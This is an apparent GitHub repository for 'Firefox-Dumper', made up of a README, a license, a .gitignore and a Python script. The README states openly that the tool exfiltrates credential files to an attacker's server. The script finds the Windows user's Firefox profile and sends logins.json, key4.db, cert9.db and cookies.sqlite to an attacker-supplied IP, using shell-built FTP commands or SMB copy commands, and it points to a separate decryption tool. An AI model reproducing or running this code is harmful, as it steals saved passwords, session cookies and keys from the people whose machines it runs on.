├── .gitignore ├── LICENSE ├── README.md ├── firefoxdumper.py └── images ├── firefox_dumper.png └── test /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Joe Helle 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Firefox-Dumper 2 | 3 | [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/M4M03Q2JN) 4 | 5 |

6 | 7 |

8 | 9 | Firefox Dumper identifies the current user's Firefox profile directory and exfiltrates the credential files to the attacker's FTP server. 10 | 11 | ## Usage 12 | Installing Firefox Dumper 13 | 14 | ```git clone https://github.com/dievus/Firefox-Dumper.git``` 15 | 16 | Change directories to Firefox-Dumper and that's it. 17 | 18 | ```python3 firefoxdumper.py -h``` 19 | 20 | This will output the help menu, which contains the following flags: 21 | 22 | ```-h, --help - Lists the help options``` 23 | 24 | ```-i, --ip - Mandatory - declares the attacker's FTP server IP. Firefox Dumper uses port 21 by default and is hardcoded.``` 25 | 26 | Examples of full commands include: 27 | 28 | ```python3 firefoxdumper.py -i 192.168.1.1``` 29 | 30 | ### Executable Version 31 | 32 | Check releases for the executable version. Note that it has to be ran from a command line with the -i flag. 33 | 34 | ### Notes 35 | A tool called "Firefox Decrypt" can be found here - https://github.com/unode/firefox_decrypt. This tool is required in order to decrypt the files. 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /firefoxdumper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import textwrap 4 | import argparse 5 | import re 6 | import subprocess 7 | import sys 8 | 9 | 10 | def banner(): 11 | print(" _______ ______ ____ ") 12 | print(" / ____(_)_______ / ____/___ _ __ / __ \__ ______ ___ ____ ___ _____ ") 13 | print(" / /_ / / ___/ _ \/ /_ / __ \| |/_/ / / / / / / / __ `__ \/ __ \/ _ \/ ___/ ") 14 | print(" / __/ / / / / __/ __/ / /_/ /> < / /_/ / /_/ / / / / / / /_/ / __/ / ") 15 | print("/_/ /_/_/ \___/_/ \____/_/|_| /_____/\__,_/_/ /_/ /_/ .___/\___/_/ ") 16 | print(" /_/ ") 17 | 18 | 19 | def envinfo(): 20 | global username, apples, results, bananas, cert9, cookies, logins, key4, t_IP, share 21 | t_IP = str(args.ip) 22 | share = str(args.share) 23 | username = os.getenv('Username') 24 | apples = os.listdir("C:\\Users\\" + username + 25 | "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") 26 | results = apples[1] 27 | bananas = ("C:\\Users\\" + username + 28 | "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" + results) 29 | cert9 = (bananas + "\\cert9.db") 30 | cookies = (bananas + "\\cookies.sqlite") 31 | logins = (bananas + "\\logins.json") 32 | key4 = (bananas + "\\key4.db") 33 | 34 | 35 | def main(): 36 | global username, apples, results, bananas, cert9, cookies, logins, key4, t_IP, share 37 | try: 38 | if args.ftp: 39 | if args.port: 40 | t_IP = str(args.ip + " " + args.port) 41 | command = ("echo open " + t_IP + " >> ftp &echo user anonymous >> ftp &echo binary >> ftp &echo put " + 42 | cert9 + " >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp") 43 | stdout = subprocess.Popen( 44 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 45 | response = stdout.read() 46 | response = str(response) 47 | valid_response = re.search( 48 | 'Log in with USER and PASS first.', response) 49 | invalid_response = re.search('Not connected.', response) 50 | if valid_response: 51 | print( 52 | '\n[success] Connection successful. Files transmitting to your FTP server.') 53 | if invalid_response: 54 | print( 55 | '\n[warning] Connection refused. Check that you ran python3 -m pyftpdlib -p 21 -w on Kali and try again') 56 | sys.exit() 57 | time.sleep(.5) 58 | command = ("echo open " + t_IP + " >> ftp &echo user anonymous >> ftp &echo binary >> ftp &echo put " + 59 | cookies + " >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp") 60 | stdout = subprocess.Popen( 61 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 62 | response = stdout.read() 63 | response = str(response) 64 | invalid_response = re.search('Not connected.', response) 65 | if invalid_response: 66 | print( 67 | '\n[warning] Connection refused. Check that you ran python3 -m pyftpdlib -p 21 -w on Kali and try again') 68 | sys.exit() 69 | time.sleep(.5) 70 | command = ("echo open " + t_IP + " >> ftp &echo user anonymous >> ftp &echo binary >> ftp &echo put " + 71 | logins + " >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp") 72 | stdout = subprocess.Popen( 73 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 74 | response = stdout.read() 75 | response = str(response) 76 | invalid_response = re.search('Not connected.', response) 77 | if invalid_response: 78 | print( 79 | '\n[warning] Connection refused. Check that you ran python3 -m pyftpdlib -p 21 -w on Kali and try again') 80 | sys.exit() 81 | time.sleep(.5) 82 | command = ("echo open " + t_IP + " >> ftp &echo user anonymous >> ftp &echo binary >> ftp &echo put " + 83 | key4 + " >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp") 84 | stdout = subprocess.Popen( 85 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 86 | response = stdout.read() 87 | response = str(response) 88 | invalid_response = re.search('Not connected.', response) 89 | if valid_response: 90 | print( 91 | "\n[success] Files should have transmitted successfully. Check your FTP server directory.") 92 | if invalid_response: 93 | print( 94 | '\n[warning] Connection refused. Check that you ran python3 -m pyftpdlib -p 21 -w on Kali and try again') 95 | sys.exit() 96 | elif args.smb is not None: 97 | try: 98 | t_IP = str(args.ip) 99 | command = ("copy " + cert9 + " \\\\" + t_IP + "\\" + share) 100 | stdout = subprocess.Popen( 101 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 102 | response = stdout.read() 103 | response = str(response) 104 | valid_response = re.search('1', response) 105 | if valid_response: 106 | print( 107 | '\n[success] Connection successful. Files transmitting to your SMB server.') 108 | invalid_response = re.search('0 file', response) 109 | command = ("copy " + cookies + " \\\\" + t_IP + "\\" + share) 110 | stdout = subprocess.Popen( 111 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 112 | command = ("copy " + logins + " \\\\" + t_IP + "\\" + share) 113 | stdout = subprocess.Popen( 114 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 115 | command = ("copy " + key4 + " \\\\" + t_IP + "\\" + share) 116 | stdout = subprocess.Popen( 117 | command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout 118 | if valid_response: 119 | print( 120 | "\n[success] Files should have transmitted successfully. Check your SMB server directory.") 121 | except KeyboardInterrupt: 122 | quit() 123 | except KeyboardInterrupt: 124 | print("\nYou either fat fingered this, or meant to do it. Either way, goodbye!") 125 | sys.exit() 126 | 127 | 128 | opt_parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent( 129 | '''Example: python3 firefoxdumper.py -i 192.168.1.1 130 | ''')) 131 | required = opt_parser.add_argument_group('Required arguments') 132 | required.add_argument( 133 | '-i', '--ip', help='IP address hosting FTP server', required=True) 134 | ftp_handler = opt_parser.add_argument_group('FTP exfiltration arguments') 135 | ftp_handler.add_argument( 136 | '-p', '--port', help='Declares a specific port if port 80 is not used') 137 | ftp_handler.add_argument( 138 | '-f', '--ftp', help='Transfers files over FTP', action='store_true') 139 | smb_handler = opt_parser.add_argument_group('SMB exfiltration arguments') 140 | smb_handler.add_argument( 141 | '-s', '--smb', help='Utilizes SMB rather than FTP', action='store_true') 142 | smb_handler.add_argument( 143 | '-sh', '--share', help='Declares the share name (mandatory for SMB') 144 | args = opt_parser.parse_args() 145 | 146 | if __name__ == "__main__": 147 | envinfo() 148 | banner() 149 | main() 150 | -------------------------------------------------------------------------------- /images/firefox_dumper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dievus/Firefox-Dumper/04ed67a98ef77b81f7b967e74f5b8cbf34d152f4/images/firefox_dumper.png -------------------------------------------------------------------------------- /images/test: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------